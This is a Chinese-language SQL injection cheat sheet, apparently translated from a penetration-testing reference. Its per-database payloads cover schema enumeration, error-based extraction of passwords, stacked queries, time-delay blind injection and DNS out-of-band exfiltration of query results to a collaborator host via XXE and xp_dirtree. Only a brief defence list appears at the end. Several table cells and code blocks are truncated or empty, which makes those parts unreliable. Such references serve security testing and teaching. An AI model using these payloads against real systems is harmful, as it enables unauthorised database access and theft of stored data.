本 SQL 注入小抄包含有用语法的示例,您可以使用这些语法执行各种任务,这些任务在执行 SQL 注入攻击时经常会出现。
字符串拼接
合并多字符串生成新字符串:
数据库 | 语法示例 |
---|---|
Oracle | `‘foo’ |
Microsoft | 'foo'+'bar' |
PostgreSQL | `‘foo’ |
MySQL | 'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar') |
子字符串截取
从偏移位置截取指定长度(偏移索引从1开始),以下示例均返回 ba
:
数据库 | 语法示例 |
---|---|
Oracle | SUBSTR('foobar', 4, 2) |
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
注释语法
截断后续查询语句:
数据库 | 语法示例 |
---|---|
Oracle | --comment |
Microsoft | --comment 或 /*comment*/ |
PostgreSQL | --comment 或 /*comment*/ |
MySQL | #comment 或 -- comment 【双破折号后需空格】或 /*comment*/ |
数据库版本探测
数据库 | 语法示例 |
---|---|
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
数据库内容枚举
你可以列出数据库中存在的表,以及这些表包含的列。
数据库 | 语句 |
---|---|
Oracle | SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
Microsoft | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
列出所有表:
1 | -- Oracle |
查看表字段:
1 | -- Oracle |
条件触发错误
你可以测试单个布尔条件,如果条件为真,则触发数据库错误:
数据库 | 语法示例 |
---|---|
Oracle | SELECT CASE WHEN (条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (条件) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT 1 WHERE 1=(SELECT CASE WHEN (条件) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(条件,(SELECT table_name FROM information_schema.tables),'a') |
通过可见错误消息提取数据
你可以测试单个布尔条件,如果条件为真,则触发数据库错误。
数据库 | 语句 |
---|---|
Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. |
PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' |
批量(或堆叠)查询
你可以使用批处理查询来连续执行多个查询。请注意,在执行后续查询时,结果不会返回给应用程序。因此,这种技术主要用于盲注漏洞,在这种情况下,你可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。
数据库 | 语法 |
---|---|
Oracle | Does not support batched queries. |
Microsoft | QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
使用 MySQL 时,批量查询通常无法用于 SQL 注入。然而,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库进行通信,偶尔也有可能实现。
基于时间延迟的注入
当查询被处理时,你可以在数据库中造成时间延迟。以下操作将导致无条件的 10 秒时间延迟。
无条件延迟(10秒):
数据库 | 语法示例 |
---|---|
Oracle | dbms_pipe.receive_message('a',10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
你可以测试单个布尔条件,如果条件为真,则触发时间延迟。
条件延迟:
1 | -- Oracle |
DNS外带数据泄露
你可以让数据库对外部域名执行 DNS 查找。为此,你需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域名,用于攻击,然后轮询 Collaborator 服务器,确认是否发生了 DNS 查找。
数据库 | 语法示例 |
---|---|
Oracle | (XXE)漏洞触发 DNS 查找。该漏洞已被修补,但仍有许多未打补丁的Oracle安装实例存在:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual 以下技术适用于完全打补丁的Oracle安装,但需要提升权限:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
MySQL | The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
防御建议:关键措施
参数化查询:强制使用预编译语句(Prepared Statements)
最小权限原则:数据库账户禁止高阶权限(如DROP/EXECUTE)
输入过滤:对特殊字符(
'
、;
、--
)进行严格转义错误处理:禁用详细数据库错误回显
Web防火墙:部署WAF拦截常见注入特征
本文参考: